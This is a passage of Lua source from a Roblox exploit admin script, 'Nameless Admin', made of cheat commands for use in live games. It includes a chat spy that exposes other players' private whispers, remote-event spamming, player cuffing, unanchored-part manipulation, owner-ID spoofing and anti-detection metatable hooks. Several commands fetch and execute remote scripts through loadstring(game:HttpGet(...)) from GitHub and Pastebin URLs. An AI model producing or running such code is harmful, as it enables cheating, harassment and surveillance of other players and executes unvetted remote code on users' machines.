Part.Anchored = true Part.Size = Vector3.new(200, 1, 200) Part.CFrame = CFrame.new(9999, 9999, 9999) --Set this to whatever you want, just far away from the map. Part.CanCollide = true FakeCharacter.Parent = workspace FakeCharacter.HumanoidRootPart.CFrame = Part.CFrame * CFrame.new(0, 5, 0) for i, v in pairs(RealCharacter:GetChildren()) do if v:IsA("LocalScript") then local clone = v:Clone() clone.Disabled = true clone.Parent = FakeCharacter end end if Transparency then for i, v in pairs(FakeCharacter:GetDescendants()) do if v:IsA("BasePart") then v.Transparency = 0.7 end end end RealCharacter.Humanoid.Died:Connect(function() RealCharacter:Destroy() FakeCharacter:Destroy() end) Player.CharacterAppearanceLoaded:Connect(RealCharacterDied) end RealCharacter.Humanoid.Died:Connect(function() RealCharacter:Destroy() FakeCharacter:Destroy() end) Player.CharacterAppearanceLoaded:Connect(RealCharacterDied) local PseudoAnchor game:GetService "RunService".RenderStepped:Connect( function() if PseudoAnchor ~= nil then PseudoAnchor.CFrame = Part.CFrame * CFrame.new(0, 5, 0) end if NoClip then FakeCharacter.Humanoid:ChangeState(11) end end ) PseudoAnchor = FakeCharacter.HumanoidRootPart local function Invisible() if IsInvisible == false then local StoredCF = RealCharacter.HumanoidRootPart.CFrame RealCharacter.HumanoidRootPart.CFrame = FakeCharacter.HumanoidRootPart.CFrame FakeCharacter.HumanoidRootPart.CFrame = StoredCF RealCharacter.Humanoid:UnequipTools() Player.Character = FakeCharacter workspace.CurrentCamera.CameraSubject = FakeCharacter.Humanoid PseudoAnchor = RealCharacter.HumanoidRootPart for i, v in pairs(FakeCharacter:GetChildren()) do if v:IsA("LocalScript") then v.Disabled = false end end IsInvisible = true else local StoredCF = FakeCharacter.HumanoidRootPart.CFrame FakeCharacter.HumanoidRootPart.CFrame = RealCharacter.HumanoidRootPart.CFrame RealCharacter.HumanoidRootPart.CFrame = StoredCF FakeCharacter.Humanoid:UnequipTools() Player.Character = RealCharacter workspace.CurrentCamera.CameraSubject = RealCharacter.Humanoid PseudoAnchor = FakeCharacter.HumanoidRootPart for i, v in pairs(FakeCharacter:GetChildren()) do if v:IsA("LocalScript") then v.Disabled = true end end IsInvisible = false end end game:GetService("UserInputService").InputBegan:Connect( function(key, gamep) if gamep then return end if key.KeyCode.Name:lower() == Keybind:lower() and CanInvis and RealCharacter and FakeCharacter then if RealCharacter:FindFirstChild("HumanoidRootPart") and FakeCharacter:FindFirstChild("HumanoidRootPart") then Invisible() end end end ) local Sound = Instance.new("Sound",game:GetService("SoundService")) Sound.SoundId = "rbxassetid://232127604" Sound:Play() wait(); Notify({ Description = "Invisible loaded, press " .. Keybind .. " to toggle"; Title = "Nameless Admin"; Duration = 10; }); end) cmd.add({"unchatspy"}, {"unchat", "Unspies on chat, enables chat, spies whispers etc."}, function() wait(); Notify({ Description = "Chat spy enabled"; Title = "Nameless Admin"; Duration = 5; }); --This script reveals ALL hidden messages in the default chat --chat "/spy" to toggle! enabled = false --if true will check your messages too spyOnMyself = true --if true will chat the logs publicly (fun, risky) public = false --if true will use /me to stand out publicItalics = true --customize private logs privateProperties = { Color = Color3.fromRGB(0,255,255); Font = Enum.Font.SourceSansBold; TextSize = 18; } --//////////////////////////////////////////////////////////////// local StarterGui = game:GetService("StarterGui") local Players = game:GetService("Players") local player = Players.LocalPlayer local saymsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest") local getmsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("OnMessageDoneFiltering") local instance = (_G.chatSpyInstance or 0) + 1 _G.chatSpyInstance = instance local function onChatted(p,msg) if _G.chatSpyInstance == instance then if p==player and msg:lower():sub(1,4)=="/spy" then enabled = not enabled wait(0.3) print("XD") StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) elseif enabled and (spyOnMyself==true or p~=player) then msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ') local hidden = true local conn = getmsg.OnClientEvent:Connect(function(packet,channel) if packet.SpeakerUserId==p.UserId and packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or (channel=="Team" and public==false and Players[packet.FromSpeaker].Team==player.Team)) then hidden = false end end) wait(1) conn:Disconnect() if hidden and enabled then if public then saymsg:FireServer((publicItalics and "/me " or '').."{SPY} [".. p.Name .."]: "..msg,"All") else privateProperties.Text = "{SPY} [".. p.Name .."]: "..msg StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) end end end end end for _,p in ipairs(Players:GetPlayers()) do p.Chatted:Connect(function(msg) onChatted(p,msg) end) end Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(msg) onChatted(p,msg) end) end) print("XD") StarterGui:SetCore("ChatMakeSystemMessage",privateProperties) local chatFrame = player.PlayerGui.Chat.Frame chatFrame.ChatChannelParentFrame.Visible = true chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChannelParentFrame.Size.Y) end) cmd.add({"fireremotes"}, {"fireremotes", "Fires every remote."}, function() local remoteamount = 0 for i,v in pairs(game:GetDescendants()) do if v:IsA("RemoteEvent") then remoteamount = remoteamount + 1 v:FireServer() if v:IsA("BindableEvent") then remoteamount = remoteamount + 1 v:Fire() if v:IsA("RemoteFunction") then remoteamount = remoteamount + 1 v:InvokeServer() end end end end wait(); Notify({ Description = "Fired " .. remoteamount .. " amount of remotes"; Title = "Nameless Admin"; Duration = 7; }); end) cmd.add({"uafollow", "unanchoredfollow"}, {"uafollow (unanchoredfollow)", "Makes unanchored parts follow you"}, function() wait(); Notify({ Description = "Unanchored follow executed"; Title = "Nameless Admin"; Duration = 5; }); --[[ FE Unanchored Parts Follow Script made by Cyclically | Credits to dhruvil123 for a few parts of the script also credits to "Discordgotbanned" in discord for giving me motivation to fix this script https://v3rmillion.net/member.php?action=profile&uid=785986 Don't edit script unless you know what you're doing. If you wanna add this into a script the floating unanchored parts around u will stop floating when a player is near but it will come back when they get far away again, this is due roblox's gay ass networkownershit ]] local LocalPlayer = game:GetService("Players").LocalPlayer local unanchoredparts = {} local movers = {} for index, part in pairs(workspace:GetDescendants()) do if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then table.insert(unanchoredparts, part) part.Massless = true part.CanCollide = false if part:FindFirstChildOfClass("BodyPosition") ~= nil then part:FindFirstChildOfClass("BodyPosition"):Destroy() end end end for index, part in pairs(unanchoredparts) do local mover = Instance.new("BodyPosition", part) table.insert(movers, mover) mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge) end repeat for index, mover in pairs(movers) do mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5)) end wait(0.5) until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0 for _, mover in pairs(movers) do mover:Destroy() end end) cmd.add({"fov"}, {"fov ", "Makes your FOV to something custom you want (1-120 FOV)"}, function(...) game.Workspace.CurrentCamera.FieldOfView = (...) end) cmd.add({"homebrew"}, {"homebrew", "Executes homebrew admin"}, function() _G.CustomUI = false loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))() end) cmd.add({"iy", "i"}, {"iy {command} (i)", "Executes infinite yield scripts"}, function(...) if IYLOADED == false then local function copytable(tbl) local copy = {} for i,v in pairs(tbl) do copy[i] = v end return copy end local sandbox_env = copytable(getfenv()) setmetatable(sandbox_env, { __index = function(self, i) if rawget(sandbox_env, i) then return rawget(sandbox_env, i) elseif getfenv()[i] then return getfenv()[i] end end }) sandbox_env.game = nil iy, _ = game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"):gsub("local Main", "Main"):gsub("Players.LocalPlayer.Chatted","Funny = Players.LocalPlayer.Chatted"):gsub("local lastMessage","notify = _G.notify\nlocal lastMessage") setfenv(loadstring(iy),sandbox_env)() iy_cmds_table = sandbox_env.CMDs iy_gui = sandbox_env.Main iy_chathandler = sandbox_env.Funny execCmd = sandbox_env.execCmd iy_gui:Destroy() pcall(function() iy_chathandler:Disconnect() end) IYLOADED = true end execCmd((...)) end) cmd.add({"fatesadmin"}, {"fatesadmin", "Executes fates admin"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))(); end) cmd.add({"grabtools", "gt"}, {"grabtools", "Grabs any dropped tools"}, function() local p = game:GetService("Players").LocalPlayer local c = p.Character if c and c:FindFirstChild("Humanoid") then for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do if v:IsA("Tool") then c:FindFirstChild("Humanoid"):EquipTool(v) end end end wait(); Notify({ Description = "Grabbed all tools"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"ws", "speed"}, {"ws (speed)", "Makes your WalkSpeed whatever you want"}, function(...) game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (...) end) cmd.add({"cuff", "jail"}, {"cuff (jail)", "Cuffs the player"}, function(...) if Humanoid.RigType == Enum.HumanoidRigType.R15 then wait(); Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); else Target = (...) local OldPos = getRoot().CFrame local RunService = game:FindService("RunService") if not getPlr(Target) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end end Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() wait(0.4) Tool.Grip = CFrame.new(0, -10, -5) firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end) cmd.add({"jp", "jumppower"}, {"jp (jumppower)", "Makes your JumpPower whatever you want"}, function(...) game.Players.LocalPlayer.Character.Humanoid.JumpPower = (...) end) cmd.add({"oofspam"}, {"oofspam", "Spams oof"}, function() _G.enabled = true -- Re-execute to turn off _G.speed = 100 -- Keep around 100 or it wont play -- Variables local RunService = game:GetService("RunService"); local Players = game:GetService("Players"); local LocalPlayer = game:GetService("Players").LocalPlayer; local Character = LocalPlayer.Character or Localplayer.CharacterAdded:wait(1); local Humanoid = Character:WaitForChild("Humanoid") or Character:FindFirstChildOfClass("Humanoid"); local HRP = Humanoid.RootPart or Humanoid:FindFirstChild("HumanoidRootPart") -- Check if not Humanoid or not _G.enabled then if Humanoid and Humanoid.Health <= 0 then Humanoid:Destroy() end return end -- Setting Up Humanoid Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false) Humanoid.BreakJointsOnDeath = false Humanoid.RequiresNeck = false local con; con = RunService.Stepped:Connect(function() if not Humanoid then return con:Disconnect() end Humanoid:ChangeState(Enum.HumanoidStateType.Running) -- Change state so not die end) -- Infinite Death [literally 3 lines dont make it complicated] LocalPlayer.Character = nil LocalPlayer.Character = Character task.wait(Players.RespawnTime + 0.1) -- Looping Death while task.wait(1/_G.speed) do Humanoid:ChangeState(Enum.HumanoidStateType.Dead) end end) cmd.add({"partgrabber"}, {"partgrabber", "Press Q"}, function() wait(); Notify({ Description = "Part grabber executed, press Q on a part"; Title = "Nameless Admin"; Duration = 5; }); -- ROBLOX FE PART + MOUSE FE SCRIPT -- Made by Rolevote. -- EXECUTE THIS SCRIPT ONCE PER SERVER local player = game.Players.LocalPlayer.Character local mouse = game.Players.LocalPlayer:GetMouse() local key = game:GetService("UserInputService") BodyAngularVelocity = true -- Want the Part/Handle to spin really fast Crazy! local keyyy = Enum.KeyCode.Q -- Key to run it on part local y = 5.7 local y2 = 7.2 local P = 1000000 local V = Vector3.new(100000,100000,100000) local SBT = Instance.new("SelectionBox") SBT.Name = "SB" SBT.Parent = player.HumanoidRootPart SBT.Adornee = player.HumanoidRootPart SBT.Color3 = Color3.new(0,0,0) while wait(.3) do key.InputBegan:Connect(function(k) if k.KeyCode == keyyy then local handle = mouse.Target if handle.Anchored == false then wait(.3) handle.Position = handle.Position + Vector3.new(0,1,0) local BP = Instance.new("BodyPosition") BP.Name = "BP" BP.Parent = handle BP.P = P BP.MaxForce = V local SB = Instance.new("SelectionBox") SB.Name = "SB" SB.Parent = handle SB.Adornee = handle local colour = math.random(1,7) if colour == 1 then SB.Color3 = Color3.new(255,0,0) end if colour == 2 then SB.Color3 = Color3.new(255,170,0) end if colour == 3 then SB.Color3 = Color3.new(255,255,0) end if colour == 4 then SB.Color3 = Color3.new(0,255,0) end if colour == 5 then SB.Color3 = Color3.new(0,170,255) end if colour == 6 then SB.Color3 = Color3.new(170,0,255) end if colour == 7 then SB.Color3 = Color3.new(0,0,0) end player.Torso.Anchored = true if BodyAngularVelocity == true then local BAV = Instance.new("BodyAngularVelocity") BAV.Name = "BAV" BAV.Parent = handle BAV.P = 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BAV.AngularVelocity = Vector3.new(99900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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end wait(.3) player.Torso.Anchored = false while wait(.3) do if handle:FindFirstChild("BP",true) then handle.CanCollide = false end BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y,0) wait(.3) if handle:FindFirstChild("BP",true) then handle.CanCollide = false end BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y2,0) end end end end) end end) cmd.add({"tpua", "bringua"}, {"tpua (bringua)", "brings every unanchored part on the map"}, function(...) wait(); Notify({ Description = "Tping unanchored parts to the player, if it doesnt teleport walk over to the unanchored part"; Title = "Nameless Admin"; Duration = 5; }); frozenParts = {} Username = (...) if sethidden then local players = getPlr(Username) local Forces = {} for _,part in pairs(workspace:GetDescendants()) do if players.Character:FindFirstChild('Head') and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(game.Players.LocalPlayer.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then for i,c in pairs(part:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end local ForceInstance = Instance.new("BodyPosition") ForceInstance.Parent = part ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge) table.insert(Forces, ForceInstance) if not table.find(frozenParts,part) then table.insert(frozenParts,part) end end end for i,c in pairs(Forces) do c.Position = players.Character.Head.Position end end end) cmd.add({"freezeua", "thawua"}, {"freezeua (thawua)", "freezes every unanchored part on the map"}, function() frozenParts = {} if sethidden then local badnames = { "Head", "UpperTorso", "LowerTorso", "RightUpperArm", "LeftUpperArm", "RightLowerArm", "LeftLowerArm", "RightHand", "LeftHand", "RightUpperLeg", "LeftUpperLeg", "RightLowerLeg", "LeftLowerLeg", "RightFoot", "LeftFoot", "Torso", "Right Arm", "Left Arm", "Right Leg", "Left Leg", "HumanoidRootPart" } local function FREEZENOOB(v) if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false then local BADD = false for i = 1,#badnames do if v.Name == badnames[i] then BADD = true end end if game.Players.LocalPlayer.Character and v:IsDescendantOf(game.Players.LocalPlayer.Character) then BADD = true end if BADD == false then for i,c in pairs(v:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end local bodypos = Instance.new("BodyPosition") bodypos.Parent = v bodypos.Position = v.Position bodypos.MaxForce = Vector3.new(math.huge,math.huge,math.huge) local bodygyro = Instance.new("BodyGyro") bodygyro.Parent = v bodygyro.CFrame = v.CFrame bodygyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge) if not table.find(frozenParts,v) then table.insert(frozenParts,v) end end end end for i,v in pairs(workspace:GetDescendants()) do FREEZENOOB(v) end freezingua = workspace.DescendantAdded:Connect(FREEZENOOB) end end) cmd.add({"unfreezeua", "unthawua"}, {"unfreezeua (unthawua)", "unfreezes every unanchored part on the map"}, function() wait(); Notify({ Description = "Unfroze unanchored parts"; Title = "Nameless Admin"; Duration = 5; }); if sethidden then if freezingua then freezingua:Disconnect() end for i,v in pairs(frozenParts) do for i,c in pairs(v:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end end frozenParts = {} end end) cmd.add({"highlightua", "highlightunanchored"}, {"highlightua (hightlightunanchored)", "Highlights all unanchored parts"}, function() wait(); Notify({ Description = "Highlighted all unanchored parts"; Title = "Nameless Admin"; Duration = 5; }); for _,part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") and part.Anchored == false and part:IsDescendantOf(game.Players.LocalPlayer.Character) == false and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false and part:FindFirstChild("Weld") == nil then --// Checks Part Properties local selectionBox = Instance.new("SelectionBox") selectionBox.Adornee = part selectionBox.Color3 = Color3.new(1,0,0) selectionBox.Parent = part end end end) cmd.add({"unhighlightua", "unhighlightunanchored"}, {"unhighlightua (unhightlightunanchored)", "Unhighlights all unanchored parts"}, function() wait(); Notify({ Description = "Unhighlighted unanchored parts"; Title = "Nameless Admin"; Duration = 5; }); for _,part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") and part.Anchored == false and part:IsDescendantOf(game.Players.LocalPlayer.Character) == false and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false and part:FindFirstChild("Weld") == nil then --// Checks Part Properties if part:FindFirstChild("SelectionBox") then part.SelectionBox:Destroy() end end end end) cmd.add({"uagui", "unanchoredgui"}, {"uagui (unanchoreedgui)", "Unanchored gui"}, function() loadstring(game:HttpGet("https://pastebin.com/raw/WkZwcGjf", true))() end) cmd.add({"countua", "countunanchoreed"}, {"countua (countunanchored)", "Counts all unanchored parts in the console"}, function() b = 0 for index, part in pairs(game.workspace:GetDescendants()) do if part:IsA("BasePart") and part.Anchored == false and part:IsDescendantOf(game.Players.LocalPlayer.Character) == false and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false and part:FindFirstChild("Weld") == nil then --// Checks Part Properties b = b + 1 end end print ("All parts checked, found", b ,"that are unanchored") wait(); Notify({ Description = "Parts have been counted, check console."; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"httpspy"}, {"httspy", "HTTP Spy"}, function() loadstring(game:HttpGet('https://raw.githubusercontent.com/topitbopit/rblx/main/http_spy.lua'))() end) cmd.add({"keystroke"}, {"keystroke", "Executes a keystroke ui script"}, function() loadstring(game:HttpGet("https://system-exodus.com/scripts/misc-releases/Keystrokes.lua",true))() end) cmd.add({"ownerid"}, {"ownerid", "Changes the client id to the owner's. Can give special things"}, function() wait(); Notify({ Description = "Set local player id to the owner id"; Title = "Nameless Admin"; Duration = 5; }); if game.CreatorType == Enum.CreatorType.User then game.Players.LocalPlayer.UserId = game.CreatorId end if game.CreatorType == Enum.CreatorType.Group then game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id end end) cmd.add({"errorchat"}, {"errorchat", "Makes the chat error appear when roblox chat is slow"}, function() for i=1,3 do game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("\0", "All") end end) --[[ FUNCTIONALITY ]]-- localPlayer.Chatted:Connect(function(str) lib.parseCommand(str) end) --[[ GUI VARIABLES ]]-- local ScreenGui if not RunService:IsStudio() then ScreenGui = game:GetObjects("rbxassetid://13237130511")[1] else repeat wait() until player:FindFirstChild("AdminUI", true) ScreenGui = player:FindFirstChild("AdminUI", true) end local description = ScreenGui.Description local cmdBar = ScreenGui.CmdBar local centerBar = cmdBar.CenterBar local cmdInput = centerBar.Input local cmdAutofill = cmdBar.Autofill local cmdExample = cmdAutofill.Cmd local leftFill = cmdBar.LeftFill local rightFill = cmdBar.RightFill local chatLogsFrame = ScreenGui.ChatLogs local chatLogs = chatLogsFrame.Container.Logs local chatExample = chatLogs.TextLabel local commandsFrame = ScreenGui.Commands local commandsFilter = commandsFrame.Container.Filter local commandsList = commandsFrame.Container.List local commandExample = commandsList.TextLabel local resizeFrame = ScreenGui.Resizeable local resizeXY = { Top = {Vector2.new(0, -1), Vector2.new(0, -1), "rbxassetid://2911850935"}, Bottom = {Vector2.new(0, 1), Vector2.new(0, 0), "rbxassetid://2911850935"}, Left = {Vector2.new(-1, 0), Vector2.new(1, 0), "rbxassetid://2911851464"}, Right = {Vector2.new(1, 0), Vector2.new(0, 0), "rbxassetid://2911851464"}, TopLeft = {Vector2.new(-1, -1), Vector2.new(1, -1), "rbxassetid://2911852219"}, TopRight = {Vector2.new(1, -1), Vector2.new(0, -1), "rbxassetid://2911851859"}, BottomLeft = {Vector2.new(-1, 1), Vector2.new(1, 0), "rbxassetid://2911851859"}, BottomRight = {Vector2.new(1, 1), Vector2.new(0, 0), "rbxassetid://2911852219"}, } cmdExample.Parent = nil chatExample.Parent = nil commandExample.Parent = nil resizeFrame.Parent = nil local rPlayer = Players:FindFirstChildWhichIsA("Player") local coreGuiProtection = {} pcall(function() for i, v in pairs(ScreenGui:GetDescendants()) do coreGuiProtection[v] = rPlayer.Name end ScreenGui.DescendantAdded:Connect(function(v) coreGuiProtection[v] = rPlayer.Name end) coreGuiProtection[ScreenGui] = rPlayer.Name local meta = getrawmetatable(game) local tostr = meta.__tostring setreadonly(meta, false) meta.__tostring = newcclosure(function(t) if coreGuiProtection[t] and not checkcaller() then return coreGuiProtection[t] end return tostr(t) end) end) if not RunService:IsStudio() then local newGui = game:GetService("CoreGui"):FindFirstChildWhichIsA("ScreenGui") newGui.DescendantAdded:Connect(function(v) coreGuiProtection[v] = rPlayer.Name end) for i, v in pairs(ScreenGui:GetChildren()) do v.Parent = newGui end ScreenGui = newGui end --[[ GUI FUNCTIONS ]]-- gui = {} gui.txtSize = function(ui, x, y) local textService = game:GetService("TextService") return textService:GetTextSize(ui.Text, ui.TextSize, ui.Font, Vector2.new(x, y)) end gui.commands = function() if not commandsFrame.Visible then commandsFrame.Visible = true commandsList.CanvasSize = UDim2.new(0, 0, 0, 0) end for i, v in pairs(commandsList:GetChildren()) do if v:IsA("TextLabel") then Destroy(v) end end local i = 0 for cmdName, tbl in pairs(Commands) do local Cmd = commandExample:Clone() Cmd.Parent = commandsList Cmd.Name = cmdName Cmd.Text = " " .. tbl[2][1] Cmd.MouseEnter:Connect(function() description.Visible = true description.Text = tbl[2][2] end) Cmd.MouseLeave:Connect(function() if description.Text == tbl[2][2] then description.Visible = false description.Text = "" end end) i = i + 1 end commandsList.CanvasSize = UDim2.new(0, 0, 0, i*20+10) commandsFrame.Position = UDim2.new(0.5, -283/2, 0.5, -260/2) end gui.chatlogs = function() if not chatLogsFrame.Visible then chatLogsFrame.Visible = true end chatLogsFrame.Position = UDim2.new(0.5, -283/2+5, 0.5, -260/2+5) end gui.tween = function(obj, style, direction, duration, goal) local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle[style], Enum.EasingDirection[direction]) local tween = TweenService:Create(obj, tweenInfo, goal) tween:Play() return tween end gui.mouseIn = function(guiObject, range) local pos1, pos2 = guiObject.AbsolutePosition, guiObject.AbsolutePosition + guiObject.AbsoluteSize local mX, mY = mouse.X, mouse.Y if mX > pos1.X-range and mX < pos2.X+range and mY > pos1.Y-range and mY < pos2.Y+range then return true end return false end gui.resizeable = function(ui, min, max) local rgui = resizeFrame:Clone() rgui.Parent = ui local mode local UIPos local lastSize local lastPos = Vector2.new() local function update(delta) local xy = resizeXY[(mode and mode.Name) or ''] if not mode or not xy then return end local delta = (delta * xy[1]) or Vector2.new() local newSize = Vector2.new(lastSize.X + delta.X, lastSize.Y + delta.Y) newSize = Vector2.new( math.clamp(newSize.X, min.X, max.X), math.clamp(newSize.Y, min.Y, max.Y) ) ui.Size = UDim2.new(0, newSize.X, 0, newSize.Y) ui.Position = UDim2.new( UIPos.X.Scale, UIPos.X.Offset + (-(newSize.X - lastSize.X) * xy[2]).X, UIPos.Y.Scale, UIPos.Y.Offset + (delta * xy[2]).Y ) end mouse.Move:Connect(function() update(Vector2.new(mouse.X, mouse.Y) - lastPos) end) for _, button in pairs(rgui:GetChildren()) do local isIn = false button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then mode = button lastPos = Vector2.new(mouse.X, mouse.Y) lastSize = ui.AbsoluteSize UIPos = ui.Position end end) button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == 